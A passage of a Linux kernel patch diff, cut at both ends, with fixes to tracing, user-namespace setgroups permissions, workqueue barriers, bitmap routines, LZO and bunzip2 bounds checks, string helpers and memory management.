n_logical_preds = 0; struct postfix_elt *elt; + int cnt = 0; list_for_each_entry(elt, &ps->postfix, list) { - if (elt->op == OP_NONE) + if (elt->op == OP_NONE) { + cnt++; continue; + } + cnt--; if (elt->op == OP_AND || elt->op == OP_OR) { n_logical_preds++; continue; } n_normal_preds++; + /* all ops should have operands */ + if (cnt < 0) + break; } - if (!n_normal_preds || n_logical_preds >= n_normal_preds) { + if (cnt != 1 || !n_normal_preds || n_logical_preds >= n_normal_preds) { parse_error(ps, FILT_ERR_INVALID_FILTER, 0); return -EINVAL; } diff --git a/kernel/trace/trace_irqsoff.c b/kernel/trace/trace_irqsoff.c index 2aefbee93a6d5..56e083e26ca90 100644 --- a/kernel/trace/trace_irqsoff.c +++ b/kernel/trace/trace_irqsoff.c @@ -118,8 +118,12 @@ static int func_prolog_dec(struct trace_array *tr, return 0; local_save_flags(*flags); - /* slight chance to get a false positive on tracing_cpu */ - if (!irqs_disabled_flags(*flags)) + /* + * Slight chance to get a false positive on tracing_cpu, + * although I'm starting to think there isn't a chance. + * Leave this for now just to be paranoid. + */ + if (!irqs_disabled_flags(*flags) && !preempt_count()) return 0; *data = per_cpu_ptr(tr->trace_buffer.data, cpu); diff --git a/kernel/trace/trace_printk.c b/kernel/trace/trace_printk.c index a9077c1b4ad3f..7be4d67cecbd9 100644 --- a/kernel/trace/trace_printk.c +++ b/kernel/trace/trace_printk.c @@ -38,6 +38,10 @@ struct trace_bprintk_fmt { static inline struct trace_bprintk_fmt *lookup_format(const char *fmt) { struct trace_bprintk_fmt *pos; + + if (!fmt) + return ERR_PTR(-EINVAL); + list_for_each_entry(pos, &trace_bprintk_fmt_list, list) { if (!strcmp(pos->fmt, fmt)) return pos; @@ -59,7 +63,8 @@ void hold_module_trace_bprintk_format(const char **start, const char **end) for (iter = start; iter < end; iter++) { struct trace_bprintk_fmt *tb_fmt = lookup_format(*iter); if (tb_fmt) { - *iter = tb_fmt->fmt; + if (!IS_ERR(tb_fmt)) + *iter = tb_fmt->fmt; continue; } @@ -272,6 +277,9 @@ static int t_show(struct seq_file *m, void *v) const char *str = *fmt; int i; + if (!*fmt) + return 0; + seq_printf(m, "0x%lx : \"", *(unsigned long *)fmt); /* diff --git a/kernel/uid16.c b/kernel/uid16.c index f6c83d7ef0006..d58cc4d8f0d1f 100644 --- a/kernel/uid16.c +++ b/kernel/uid16.c @@ -176,7 +176,7 @@ SYSCALL_DEFINE2(setgroups16, int, gidsetsize, old_gid_t __user *, grouplist) struct group_info *group_info; int retval; - if (!nsown_capable(CAP_SETGID)) + if (!may_setgroups()) return -EPERM; if ((unsigned)gidsetsize > NGROUPS_MAX) return -EINVAL; diff --git a/kernel/user.c b/kernel/user.c index 69b4c3d48cdee..6bbef5604101c 100644 --- a/kernel/user.c +++ b/kernel/user.c @@ -51,6 +51,7 @@ struct user_namespace init_user_ns = { .owner = GLOBAL_ROOT_UID, .group = GLOBAL_ROOT_GID, .proc_inum = PROC_USER_INIT_INO, + .flags = USERNS_INIT_FLAGS, .may_mount_sysfs = true, .may_mount_proc = true, }; diff --git a/kernel/user_namespace.c b/kernel/user_namespace.c index 9bea1d7dd21fa..3f2fb33d291aa 100644 --- a/kernel/user_namespace.c +++ b/kernel/user_namespace.c @@ -24,6 +24,7 @@ #include static struct kmem_cache *user_ns_cachep __read_mostly; +static DEFINE_MUTEX(userns_state_mutex); static bool new_idmap_permitted(const struct file *file, struct user_namespace *ns, int cap_setid, @@ -99,6 +100,11 @@ int create_user_ns(struct cred *new) ns->owner = owner; ns->group = group; + /* Inherit USERNS_SETGROUPS_ALLOWED from our parent */ + mutex_lock(&userns_state_mutex); + ns->flags = parent_ns->flags; + mutex_unlock(&userns_state_mutex); + set_cred_user_ns(new, ns); update_mnt_policy(ns); @@ -577,9 +583,6 @@ static bool mappings_overlap(struct uid_gid_map *new_map, struct uid_gid_extent return false; } - -static DEFINE_MUTEX(id_map_mutex); - static ssize_t map_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos, int cap_setid, @@ -596,7 +599,7 @@ static ssize_t map_write(struct file *file, const char __user *buf, ssize_t ret = -EINVAL; /* - * The id_map_mutex serializes all writes to any given map. + * The userns_state_mutex serializes all writes to any given map. * * Any map is only ever written once. * @@ -614,7 +617,7 @@ static ssize_t map_write(struct file *file, const char __user *buf, * order and smp_rmb() is guaranteed that we don't have crazy * architectures returning stale data. */ - mutex_lock(&id_map_mutex); + mutex_lock(&userns_state_mutex); ret = -EPERM; /* Only allow one successful write to the map */ @@ -741,7 +744,7 @@ static ssize_t map_write(struct file *file, const char __user *buf, *ppos = count; ret = count; out: - mutex_unlock(&id_map_mutex); + mutex_unlock(&userns_state_mutex); if (page) free_page(page); return ret; @@ -800,17 +803,21 @@ static bool new_idmap_permitted(const struct file *file, struct user_namespace *ns, int cap_setid, struct uid_gid_map *new_map) { - /* Allow mapping to your own filesystem ids */ - if ((new_map->nr_extents == 1) && (new_map->extent[0].count == 1)) { + const struct cred *cred = file->f_cred; + /* Don't allow mappings that would allow anything that wouldn't + * be allowed without the establishment of unprivileged mappings. + */ + if ((new_map->nr_extents == 1) && (new_map->extent[0].count == 1) && + uid_eq(ns->owner, cred->euid)) { u32 id = new_map->extent[0].lower_first; if (cap_setid == CAP_SETUID) { kuid_t uid = make_kuid(ns->parent, id); - if (uid_eq(uid, file->f_cred->fsuid)) + if (uid_eq(uid, cred->euid)) return true; - } - else if (cap_setid == CAP_SETGID) { + } else if (cap_setid == CAP_SETGID) { kgid_t gid = make_kgid(ns->parent, id); - if (gid_eq(gid, file->f_cred->fsgid)) + if (!(ns->flags & USERNS_SETGROUPS_ALLOWED) && + gid_eq(gid, cred->egid)) return true; } } @@ -830,6 +837,100 @@ static bool new_idmap_permitted(const struct file *file, return false; } +int proc_setgroups_show(struct seq_file *seq, void *v) +{ + struct user_namespace *ns = seq->private; + unsigned long userns_flags = ACCESS_ONCE(ns->flags); + + seq_printf(seq, "%s\n", + (userns_flags & USERNS_SETGROUPS_ALLOWED) ? + "allow" : "deny"); + return 0; +} + +ssize_t proc_setgroups_write(struct file *file, const char __user *buf, + size_t count, loff_t *ppos) +{ + struct seq_file *seq = file->private_data; + struct user_namespace *ns = seq->private; + char kbuf[8], *pos; + bool setgroups_allowed; + ssize_t ret; + + /* Only allow a very narrow range of strings to be written */ + ret = -EINVAL; + if ((*ppos != 0) || (count >= sizeof(kbuf))) + goto out; + + /* What was written? */ + ret = -EFAULT; + if (copy_from_user(kbuf, buf, count)) + goto out; + kbuf[count] = '\0'; + pos = kbuf; + + /* What is being requested? */ + ret = -EINVAL; + if (strncmp(pos, "allow", 5) == 0) { + pos += 5; + setgroups_allowed = true; + } + else if (strncmp(pos, "deny", 4) == 0) { + pos += 4; + setgroups_allowed = false; + } + else + goto out; + + /* Verify there is not trailing junk on the line */ + pos = skip_spaces(pos); + if (*pos != '\0') + goto out; + + ret = -EPERM; + mutex_lock(&userns_state_mutex); + if (setgroups_allowed) { + /* Enabling setgroups after setgroups has been disabled + * is not allowed. + */ + if (!(ns->flags & USERNS_SETGROUPS_ALLOWED)) + goto out_unlock; + } else { + /* Permanently disabling setgroups after setgroups has + * been enabled by writing the gid_map is not allowed. + */ + if (ns->gid_map.nr_extents != 0) + goto out_unlock; + ns->flags &= ~USERNS_SETGROUPS_ALLOWED; + } + mutex_unlock(&userns_state_mutex); + + /* Report a successful write */ + *ppos = count; + ret = count; +out: + return ret; +out_unlock: + mutex_unlock(&userns_state_mutex); + goto out; +} + +bool userns_may_setgroups(const struct user_namespace *ns) +{ + bool allowed; + + mutex_lock(&userns_state_mutex); + /* It is not safe to use setgroups until a gid mapping in + * the user namespace has been established. + */ + allowed = ns->gid_map.nr_extents != 0; + /* Is setgroups allowed? */ + allowed = allowed && (ns->flags & USERNS_SETGROUPS_ALLOWED); + mutex_unlock(&userns_state_mutex); + + return allowed; +} + static void *userns_get(struct task_struct *task) { struct user_namespace *user_ns; diff --git a/kernel/workqueue.c b/kernel/workqueue.c index c607473ee7462..7e78fec0a0ce1 100644 --- a/kernel/workqueue.c +++ b/kernel/workqueue.c @@ -607,6 +607,35 @@ static void set_work_pool_and_clear_pending(struct work_struct *work, */ smp_wmb(); set_work_data(work, (unsigned long)pool_id << WORK_OFFQ_POOL_SHIFT, 0); + /* + * The following mb guarantees that previous clear of a PENDING bit + * will not be reordered with any speculative LOADS or STORES from + * work->current_func, which is executed afterwards. This possible + * reordering can lead to a missed execution on attempt to qeueue + * the same @work. E.g. consider this case: + * + * CPU#0 CPU#1 + * ---------------------------- -------------------------------- + * + * 1 STORE event_indicated + * 2 queue_work_on() { + * 3 test_and_set_bit(PENDING) + * 4 } set_..._and_clear_pending() { + * 5 set_work_data() # clear bit + * 6 smp_mb() + * 7 work->current_func() { + * 8 LOAD event_indicated + * } + * + * Without an explicit full barrier speculative LOAD on line 8 can + * be executed before CPU#0 does STORE on line 1. If that happens, + * CPU#0 observes the PENDING bit is still set and new execution of + * a @work is not queued in a hope, that CPU#1 will eventually + * finish the queued @work. Meanwhile CPU#1 does not see + * event_indicated is set, because speculative LOAD was executed + * before actual STORE. + */ + smp_mb(); } static void clear_work_data(struct work_struct *work) @@ -1935,17 +1964,13 @@ static void pool_mayday_timeout(unsigned long __pool) * spin_lock_irq(pool->lock) which may be released and regrabbed * multiple times. Does GFP_KERNEL allocations. Called only from * manager. - * - * RETURNS: - * %false if no action was taken and pool->lock stayed locked, %true - * otherwise. */ -static bool maybe_create_worker(struct worker_pool *pool) +static void maybe_create_worker(struct worker_pool *pool) __releases(&pool->lock) __acquires(&pool->lock) { if (!need_to_create_worker(pool)) - return false; + return; restart: spin_unlock_irq(&pool->lock); @@ -1962,7 +1987,7 @@ __acquires(&pool->lock) start_worker(worker); if (WARN_ON_ONCE(need_to_create_worker(pool))) goto restart; - return true; + return; } if (!need_to_create_worker(pool)) @@ -1979,7 +2004,7 @@ __acquires(&pool->lock) spin_lock_irq(&pool->lock); if (need_to_create_worker(pool)) goto restart; - return true; + return; } /** @@ -1992,15 +2017,9 @@ __acquires(&pool->lock) * LOCKING: * spin_lock_irq(pool->lock) which may be released and regrabbed * multiple times. Called only from manager. - * - * RETURNS: - * %false if no action was taken and pool->lock stayed locked, %true - * otherwise. */ -static bool maybe_destroy_workers(struct worker_pool *pool) +static void maybe_destroy_workers(struct worker_pool *pool) { - bool ret = false; - while (too_many_workers(pool)) { struct worker *worker; unsigned long expires; @@ -2014,10 +2033,7 @@ static bool maybe_destroy_workers(struct worker_pool *pool) } destroy_worker(worker); - ret = true; } - - return ret; } /** @@ -2037,13 +2053,14 @@ static bool maybe_destroy_workers(struct worker_pool *pool) * multiple times. Does GFP_KERNEL allocations. * * RETURNS: - * spin_lock_irq(pool->lock) which may be released and regrabbed - * multiple times. Does GFP_KERNEL allocations. + * %false if the pool doesn't need management and the caller can safely + * start processing works, %true if management function was performed and + * the conditions that the caller verified before calling the function may + * no longer be true. */ static bool manage_workers(struct worker *worker) { struct worker_pool *pool = worker->pool; - bool ret = false; /* * Managership is governed by two mutexes - manager_arb and @@ -2067,7 +2084,7 @@ static bool manage_workers(struct worker *worker) * manager_mutex. */ if (!mutex_trylock(&pool->manager_arb)) - return ret; + return false; /* * With manager arbitration won, manager_mutex would be free in @@ -2077,7 +2094,6 @@ static bool manage_workers(struct worker *worker) spin_unlock_irq(&pool->lock); mutex_lock(&pool->manager_mutex); spin_lock_irq(&pool->lock); - ret = true; } pool->flags &= ~POOL_MANAGE_WORKERS; @@ -2086,12 +2102,12 @@ static bool manage_workers(struct worker *worker) * Destroy and then create so that may_start_working() is true * on return. */ - ret |= maybe_destroy_workers(pool); - ret |= maybe_create_worker(pool); + maybe_destroy_workers(pool); + maybe_create_worker(pool); mutex_unlock(&pool->manager_mutex); mutex_unlock(&pool->manager_arb); - return ret; + return true; } /** diff --git a/lib/bitmap.c b/lib/bitmap.c index 51ec8f08c37d9..5f69034fe52e9 100644 --- a/lib/bitmap.c +++ b/lib/bitmap.c @@ -131,7 +131,9 @@ void __bitmap_shift_right(unsigned long *dst, lower = src[off + k]; if (left && off + k == lim - 1) lower &= mask; - dst[k] = upper << (BITS_PER_LONG - rem) | lower >> rem; + dst[k] = lower >> rem; + if (rem) + dst[k] |= upper << (BITS_PER_LONG - rem); if (left && k == lim - 1) dst[k] &= mask; } @@ -172,7 +174,9 @@ void __bitmap_shift_left(unsigned long *dst, upper = src[k]; if (left && k == lim - 1) upper &= (1UL << left) - 1; - dst[k + off] = lower >> (BITS_PER_LONG - rem) | upper << rem; + dst[k + off] = upper << rem; + if (rem) + dst[k + off] |= lower >> (BITS_PER_LONG - rem); if (left && k + off == lim - 1) dst[k + off] &= (1UL << left) - 1; } @@ -601,12 +605,12 @@ static int __bitmap_parselist(const char *buf, unsigned int buflen, unsigned a, b; int c, old_c, totaldigits; const char __user __force *ubuf = (const char __user __force *)buf; - int exp_digit, in_range; + int at_start, in_range; totaldigits = c = 0; bitmap_zero(maskp, nmaskbits); do { - exp_digit = 1; + at_start = 1; in_range = 0; a = b = 0; @@ -635,11 +639,10 @@ static int __bitmap_parselist(const char *buf, unsigned int buflen, break; if (c == '-') { - if (exp_digit || in_range) + if (at_start || in_range) return -EINVAL; b = 0; in_range = 1; - exp_digit = 1; continue; } @@ -649,16 +652,18 @@ static int __bitmap_parselist(const char *buf, unsigned int buflen, b = b * 10 + (c - '0'); if (!in_range) a = b; - exp_digit = 0; + at_start = 0; totaldigits++; } if (!(a <= b)) return -EINVAL; if (b >= nmaskbits) return -ERANGE; - while (a <= b) { - set_bit(a, maskp); - a++; + if (!at_start) { + while (a <= b) { + set_bit(a, maskp); + a++; + } } } while (buflen && c == ','); return 0; diff --git a/lib/btree.c b/lib/btree.c index f9a484676cb6a..4264871ea1a00 100644 --- a/lib/btree.c +++ b/lib/btree.c @@ -198,6 +198,7 @@ EXPORT_SYMBOL_GPL(btree_init); void btree_destroy(struct btree_head *head) { + mempool_free(head->node, head->mempool); mempool_destroy(head->mempool); head->mempool = NULL; } diff --git a/lib/checksum.c b/lib/checksum.c index 129775eb6de63..8b39e86dbab5e 100644 --- a/lib/checksum.c +++ b/lib/checksum.c @@ -181,6 +181,15 @@ csum_partial_copy(const void *src, void *dst, int len, __wsum sum) EXPORT_SYMBOL(csum_partial_copy); #ifndef csum_tcpudp_nofold +static inline u32 from64to32(u64 x) +{ + /* add up 32-bit and 32-bit for 32+c bit */ + x = (x & 0xffffffff) + (x >> 32); + /* add up carry.. */ + x = (x & 0xffffffff) + (x >> 32); + return (u32)x; +} + __wsum csum_tcpudp_nofold(__be32 saddr, __be32 daddr, unsigned short len, unsigned short proto, @@ -195,8 +204,7 @@ __wsum csum_tcpudp_nofold(__be32 saddr, __be32 daddr, #else s += (proto + len) << 8; #endif - s += (s >> 32); - return (__force __wsum)s; + return (__force __wsum)from64to32(s); } EXPORT_SYMBOL(csum_tcpudp_nofold); #endif diff --git a/lib/decompress_bunzip2.c b/lib/decompress_bunzip2.c index 31c5f7675fbfa..f504027d66a8b 100644 --- a/lib/decompress_bunzip2.c +++ b/lib/decompress_bunzip2.c @@ -184,7 +184,7 @@ static int INIT get_next_block(struct bunzip_data *bd) if (get_bits(bd, 1)) return RETVAL_OBSOLETE_INPUT; origPtr = get_bits(bd, 24); - if (origPtr > dbufSize) + if (origPtr >= dbufSize) return RETVAL_DATA_ERROR; /* mapping table: if some byte values are never used (encoding things like ascii text), the compression code removes the gaps to have fewer diff --git a/lib/devres.c b/lib/devres.c index 10231287fbcc9..465bd2920b2a6 100644 --- a/lib/devres.c +++ b/lib/devres.c @@ -423,7 +423,7 @@ void pcim_iounmap_regions(struct pci_dev *pdev, int mask) if (!iomap) return; - for (i = 0; i < DEVICE_COUNT_RESOURCE; i++) { + for (i = 0; i < PCIM_IOMAP_MAX; i++) { if (!(mask & (1 << i))) continue; diff --git a/lib/dma-debug.c b/lib/dma-debug.c index d87a17a819d07..c32437f6be61f 100644 --- a/lib/dma-debug.c +++ b/lib/dma-debug.c @@ -445,9 +445,9 @@ static struct dma_debug_entry *dma_entry_alloc(void) spin_lock_irqsave(&free_entries_lock, flags); if (list_empty(&free_entries)) { - pr_err("DMA-API: debugging out of memory - disabling\n"); global_disable = true; spin_unlock_irqrestore(&free_entries_lock, flags); + pr_err("DMA-API: debugging out of memory - disabling\n"); return NULL; } @@ -962,7 +962,7 @@ static inline bool overlap(void *addr, unsigned long len, void *start, void *end static void check_for_illegal_area(struct device *dev, void *addr, unsigned long len) { - if (overlap(addr, len, _text, _etext) || + if (overlap(addr, len, _stext, _etext) || overlap(addr, len, __start_rodata, __end_rodata)) err_printk(dev, NULL, "DMA-API: device driver maps memory from kernel text or rodata [addr=%p] [len=%lu]\n", addr, len); } diff --git a/lib/klist.c b/lib/klist.c index 358a368a29470..2e59aecbec0df 100644 --- a/lib/klist.c +++ b/lib/klist.c @@ -282,9 +282,9 @@ void klist_iter_init_node(struct klist *k, struct klist_iter *i, struct klist_node *n) { i->i_klist = k; - i->i_cur = n; - if (n) - kref_get(&n->n_ref); + i->i_cur = NULL; + if (n && kref_get_unless_zero(&n->n_ref)) + i->i_cur = n; } EXPORT_SYMBOL_GPL(klist_iter_init_node); diff --git a/lib/lzo/lzo1x_decompress_safe.c b/lib/lzo/lzo1x_decompress_safe.c index 8563081e8da38..a1c387f6afba2 100644 --- a/lib/lzo/lzo1x_decompress_safe.c +++ b/lib/lzo/lzo1x_decompress_safe.c @@ -19,31 +19,21 @@ #include #include "lzodefs.h" -#define HAVE_IP(t, x) \ - (((size_t)(ip_end - ip) >= (size_t)(t + x)) && \ - (((t + x) >= t) && ((t + x) >= x))) +#define HAVE_IP(x) ((size_t)(ip_end - ip) >= (size_t)(x)) +#define HAVE_OP(x) ((size_t)(op_end - op) >= (size_t)(x)) +#define NEED_IP(x) if (!HAVE_IP(x)) goto input_overrun +#define NEED_OP(x) if (!HAVE_OP(x)) goto output_overrun +#define TEST_LB(m_pos) if ((m_pos) < out) goto lookbehind_overrun -#define HAVE_OP(t, x) \ - (((size_t)(op_end - op) >= (size_t)(t + x)) && \ - (((t + x) >= t) && ((t + x) >= x))) - -#define NEED_IP(t, x) \ - do { \ - if (!HAVE_IP(t, x)) \ - goto input_overrun; \ - } while (0) - -#define NEED_OP(t, x) \ - do { \ - if (!HAVE_OP(t, x)) \ - goto output_overrun; \ - } while (0) - -#define TEST_LB(m_pos) \ - do { \ - if ((m_pos) < out) \ - goto lookbehind_overrun; \ - } while (0) +/* This MAX_255_COUNT is the maximum number of times we can add 255 to a base + * count without overflowing an integer. The multiply will overflow when + * multiplying 255 by more than MAXINT/255. The sum will overflow earlier + * depending on the base count. Since the base count is taken from a u8 + * and a few bits, it is safe to assume that it will always be lower than + * or equal to 2*255, thus we can always prevent any overflow by accepting + * two less 255 steps. See Documentation/lzo.txt for more information. + */ +#define MAX_255_COUNT ((((size_t)~0) / 255) - 2) int lzo1x_decompress_safe(const unsigned char *in, size_t in_len, unsigned char *out, size_t *out_len) @@ -75,17 +65,24 @@ int lzo1x_decompress_safe(const unsigned char *in, size_t in_len, if (t < 16) { if (likely(state == 0)) { if (unlikely(t == 0)) { + size_t offset; + const unsigned char *ip_last = ip; + while (unlikely(*ip == 0)) { - t += 255; ip++; - NEED_IP(1, 0); + NEED_IP(1); } - t += 15 + *ip++; + offset = ip - ip_last; + if (unlikely(offset > MAX_255_COUNT)) + return LZO_E_ERROR; + + offset = (offset << 8) - offset; + t += offset + 15 + *ip++; } t += 3; copy_literal_run: #if defined(CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS) - if (likely(HAVE_IP(t, 15) && HAVE_OP(t, 15))) { + if (likely(HAVE_IP(t + 15) && HAVE_OP(t + 15))) { const unsigned char *ie = ip + t; unsigned char *oe = op + t; do { @@ -101,8 +98,8 @@ int lzo1x_decompress_safe(const unsigned char *in, size_t in_len, } else #endif { - NEED_OP(t, 0); - NEED_IP(t, 3); + NEED_OP(t); + NEED_IP(t + 3); do { *op++ = *ip++; } while (--t > 0); @@ -115,7 +112,7 @@ int lzo1x_decompress_safe(const unsigned char *in, size_t in_len, m_pos -= t >> 2; m_pos -= *ip++ << 2; TEST_LB(m_pos); - NEED_OP(2, 0); + NEED_OP(2); op[0] = m_pos[0]; op[1] = m_pos[1]; op += 2; @@ -136,13 +133,20 @@ int lzo1x_decompress_safe(const unsigned char *in, size_t in_len, } else if (t >= 32) { t = (t & 31) + (3 - 1); if (unlikely(t == 2)) { + size_t offset; + const unsigned char *ip_last = ip; + while (unlikely(*ip == 0)) { - t += 255; ip++; - NEED_IP(1, 0); + NEED_IP(1); } - t += 31 + *ip++; - NEED_IP(2, 0); + offset = ip - ip_last; + if (unlikely(offset > MAX_255_COUNT)) + return LZO_E_ERROR; + + offset = (offset << 8) - offset; + t += offset + 31 + *ip++; + NEED_IP(2); } m_pos = op - 1; next = get_unaligned_le16(ip); @@ -154,13 +158,20 @@ int lzo1x_decompress_safe(const unsigned char *in, size_t in_len, m_pos -= (t & 8) << 11; t = (t & 7) + (3 - 1); if (unlikely(t == 2)) { + size_t offset; + const unsigned char *ip_last = ip; + while (unlikely(*ip == 0)) { - t += 255; ip++; - NEED_IP(1, 0); + NEED_IP(1); } - t += 7 + *ip++; - NEED_IP(2, 0); + offset = ip - ip_last; + if (unlikely(offset > MAX_255_COUNT)) + return LZO_E_ERROR; + + offset = (offset << 8) - offset; + t += offset + 7 + *ip++; + NEED_IP(2); } next = get_unaligned_le16(ip); ip += 2; @@ -174,7 +185,7 @@ int lzo1x_decompress_safe(const unsigned char *in, size_t in_len, #if defined(CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS) if (op - m_pos >= 8) { unsigned char *oe = op + t; - if (likely(HAVE_OP(t, 15))) { + if (likely(HAVE_OP(t + 15))) { do { COPY8(op, m_pos); op += 8; @@ -184,7 +195,7 @@ int lzo1x_decompress_safe(const unsigned char *in, size_t in_len, m_pos += 8; } while (op < oe); op = oe; - if (HAVE_IP(6, 0)) { + if (HAVE_IP(6)) { state = next; COPY4(op, ip); op += next; @@ -192,7 +203,7 @@ int lzo1x_decompress_safe(const unsigned char *in, size_t in_len, continue; } } else { - NEED_OP(t, 0); + NEED_OP(t); do { *op++ = *m_pos++; } while (op < oe); @@ -201,7 +212,7 @@ int lzo1x_decompress_safe(const unsigned char *in, size_t in_len, #endif { unsigned char *oe = op + t; - NEED_OP(t, 0); + NEED_OP(t); op[0] = m_pos[0]; op[1] = m_pos[1]; op += 2; @@ -214,15 +225,15 @@ int lzo1x_decompress_safe(const unsigned char *in, size_t in_len, state = next; t = next; #if defined(CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS) - if (likely(HAVE_IP(6, 0) && HAVE_OP(4, 0))) { + if (likely(HAVE_IP(6) && HAVE_OP(4))) { COPY4(op, ip); op += t; ip += t; } else #endif { - NEED_IP(t, 3); - NEED_OP(t, 0); + NEED_IP(t + 3); + NEED_OP(t); while (t > 0) { *op++ = *ip++; t--; diff --git a/lib/radix-tree.c b/lib/radix-tree.c index e7964296fd505..936a02c1c77b7 100644 --- a/lib/radix-tree.c +++ b/lib/radix-tree.c @@ -1015,9 +1015,13 @@ radix_tree_gang_lookup(struct radix_tree_root *root, void **results, return 0; radix_tree_for_each_slot(slot, root, &iter, first_index) { - results[ret] = indirect_to_ptr(rcu_dereference_raw(*slot)); + results[ret] = rcu_dereference_raw(*slot); if (!results[ret]) continue; + if (radix_tree_is_indirect_ptr(results[ret])) { + slot = radix_tree_iter_retry(&iter); + continue; + } if (++ret == max_items) break; } @@ -1094,9 +1098,13 @@ radix_tree_gang_lookup_tag(struct radix_tree_root *root, void **results, return 0; radix_tree_for_each_tagged(slot, root, &iter, first_index, tag) { - results[ret] = indirect_to_ptr(rcu_dereference_raw(*slot)); + results[ret] = rcu_dereference_raw(*slot); if (!results[ret]) continue; + if (radix_tree_is_indirect_ptr(results[ret])) { + slot = radix_tree_iter_retry(&iter); + continue; + } if (++ret == max_items) break; } diff --git a/lib/string.c b/lib/string.c index e5878de4f1013..cb9ea21815578 100644 --- a/lib/string.c +++ b/lib/string.c @@ -586,6 +586,22 @@ void *memset(void *s, int c, size_t count) EXPORT_SYMBOL(memset); #endif +/** + * memzero_explicit - Fill a region of memory (e.g. sensitive + * keying data) with 0s. + * @s: Pointer to the start of the area. + * @count: The size of the area. + * + * memzero_explicit() doesn't need an arch-specific version as + * it just invokes the one of memset() implicitly. + */ +void memzero_explicit(void *s, size_t count) +{ + memset(s, 0, count); + barrier(); +} +EXPORT_SYMBOL(memzero_explicit); + #ifndef __HAVE_ARCH_MEMCPY /** * memcpy - Copy one area of memory to another diff --git a/lib/strnlen_user.c b/lib/strnlen_user.c index a28df5206d95c..11649615c5050 100644 --- a/lib/strnlen_user.c +++ b/lib/strnlen_user.c @@ -57,7 +57,8 @@ static inline long do_strnlen_user(const char __user *src, unsigned long count, return res + find_zero(data) + 1 - align; } res += sizeof(unsigned long); - if (unlikely(max < sizeof(unsigned long))) + /* We already handled 'unsigned long' bytes. Did we do it all ? */ + if (unlikely(max <= sizeof(unsigned long))) break; max -= sizeof(unsigned long); if (unlikely(__get_user(c,(unsigned long __user *)(src+res)))) diff --git a/lib/ucs2_string.c b/lib/ucs2_string.c index 6f500ef2301d8..f0b323abb4c64 100644 --- a/lib/ucs2_string.c +++ b/lib/ucs2_string.c @@ -49,3 +49,65 @@ ucs2_strncmp(const ucs2_char_t *a, const ucs2_char_t *b, size_t len) } } EXPORT_SYMBOL(ucs2_strncmp); + +unsigned long +ucs2_utf8size(const ucs2_char_t *src) +{ + unsigned long i; + unsigned long j = 0; + + for (i = 0; i < ucs2_strlen(src); i++) { + u16 c = src[i]; + + if (c >= 0x800) + j += 3; + else if (c >= 0x80) + j += 2; + else + j += 1; + } + + return j; +} +EXPORT_SYMBOL(ucs2_utf8size); + +/* + * copy at most maxlength bytes of whole utf8 characters to dest from the + * ucs2 string src. + * + * The return value is the number of characters copied, not including the + * final NUL character. + */ +unsigned long +ucs2_as_utf8(u8 *dest, const ucs2_char_t *src, unsigned long maxlength) +{ + unsigned int i; + unsigned long j = 0; + unsigned long limit = ucs2_strnlen(src, maxlength); + + for (i = 0; maxlength && i < limit; i++) { + u16 c = src[i]; + + if (c >= 0x800) { + if (maxlength < 3) + break; + maxlength -= 3; + dest[j++] = 0xe0 | (c & 0xf000) >> 12; + dest[j++] = 0x80 | (c & 0x0fc0) >> 6; + dest[j++] = 0x80 | (c & 0x003f); + } else if (c >= 0x80) { + if (maxlength < 2) + break; + maxlength -= 2; + dest[j++] = 0xc0 | (c & 0x7c0) >> 6; + dest[j++] = 0x80 | (c & 0x03f); + } else { + maxlength -= 1; + dest[j++] = c & 0x7f; + } + } + if (maxlength) + dest[j] = '\0'; + return j; +} +EXPORT_SYMBOL(ucs2_as_utf8); diff --git a/mm/compaction.c b/mm/compaction.c index 16727de5c38aa..2c64a06c98049 100644 --- a/mm/compaction.c +++ b/mm/compaction.c @@ -906,7 +906,7 @@ static int compact_finished(struct zone *zone, return COMPACT_PARTIAL; /* Job done if allocation would set block type */ - if (cc->order >= pageblock_order && area->nr_free) + if (order >= pageblock_order && area->nr_free) return COMPACT_PARTIAL; } diff --git a/mm/filemap.c b/mm/filemap.c index f572707b961fc..075c4c6e99477 100644 --- a/mm/filemap.c +++ b/mm/filemap.c @@ -2348,6 +2348,11 @@ static ssize_t generic_perform_write(struct file *file, break; } + if (fatal_signal_pending(current)) { + status = -EINTR; + break; + } + status = a_ops->write_begin(file, mapping, pos, bytes, flags, &page, &fsdata); if (unlikely(status)) @@ -2388,10 +2393,6 @@ static ssize_t generic_perform_write(struct file *file, written += copied; balance_dirty_pages_ratelimited(mapping); - if (fatal_signal_pending(current)) { - status = -EINTR; - break; - } } while (iov_iter_count(i)); return written ? written : status; diff --git a/mm/frontswap.c b/mm/frontswap.c index 1b24bdcb31974..a55036a684873 100644 --- a/mm/frontswap.c +++ b/mm/frontswap.c @@ -244,8 +244,10 @@ int __frontswap_store(struct page *page) the (older) page from frontswap */ inc_frontswap_failed_stores(); - if (dup) + if (dup) { __frontswap_clear(sis, offset); + frontswap_ops->invalidate_page(type, offset); + } } if (frontswap_writethrough_enabled) /* report failure so swap also writes to swap device */ diff --git a/mm/huge_memory.c b/mm/huge_memory.c index eb00e81601a54..d21c9ef0943c3 100644 --- a/mm/huge_memory.c +++ b/mm/huge_memory.c @@ -1733,21 +1733,24 @@ static int __split_huge_page_map(struct page *page, if (pmd) { pgtable = pgtable_trans_huge_withdraw(mm); pmd_populate(mm, &_pmd, pgtable); + if (pmd_write(*pmd)) + BUG_ON(page_mapcount(page) != 1); haddr = address; for (i = 0; i < HPAGE_PMD_NR; i++, haddr += PAGE_SIZE) { pte_t *pte, entry; BUG_ON(PageCompound(page+i)); + /* + * Note that pmd_numa is not transferred deliberately + * to avoid any possibility that pte_numa leaks to + * a PROT_NONE VMA by accident. + */ entry = mk_pte(page + i, vma->vm_page_prot); entry = maybe_mkwrite(pte_mkdirty(entry), vma); if (!pmd_write(*pmd)) entry = pte_wrprotect(entry); - else - BUG_ON(page_mapcount(page) != 1); if (!pmd_young(*pmd)) entry = pte_mkold(entry); - if (pmd_numa(*pmd)) - entry = pte_mknuma(entry); pte = pte_offset_map(&_pmd, haddr); BUG_ON(!pte_none(*pte)); set_pte_at(mm, haddr, pte, entry); diff --git a/mm/hugetlb.c b/mm/hugetlb.c index dbc949c409c76..e9fd382bf25a2 100644 --- a/mm/hugetlb.c +++ b/mm/hugetlb.c @@ -2400,6 +2400,7 @@ int copy_hugetlb_page_range(struct mm_struct *dst, struct mm_struct *src, } else { if (cow) huge_ptep_set_wrprotect(src, addr, 